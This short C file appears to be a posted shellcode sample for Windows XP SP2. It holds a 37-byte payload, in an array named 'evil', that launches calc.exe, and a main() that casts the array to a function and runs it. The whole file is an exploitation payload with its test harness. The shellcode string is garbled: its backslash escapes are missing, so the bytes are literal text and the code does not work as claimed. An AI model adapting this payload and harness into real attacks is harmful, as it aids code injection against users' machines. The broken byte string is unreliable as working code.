/*
 * Windows Xp Home edition SP2 english ( calc.exe ) 37 bytes shellcode
 * by: Hazem mofeed Aka Hakxer
 * penetration testing labs
 *   www.pentestlabs.com
 */

char evil[] =
"xebx16x5bx31xc0x50x53xbbx8dx15x86x7cxffxd3x31xc0"
"x50xbbxeaxcdx81x7cxffxd3xe8xe5xffxffxffx63x61x6c"
"x63x2ex65x78x65x00";

int main(int argc, char **argv)
{
int (*shellcode)();
shellcode = (int (*)()) evil;
(int)(*shellcode)();
}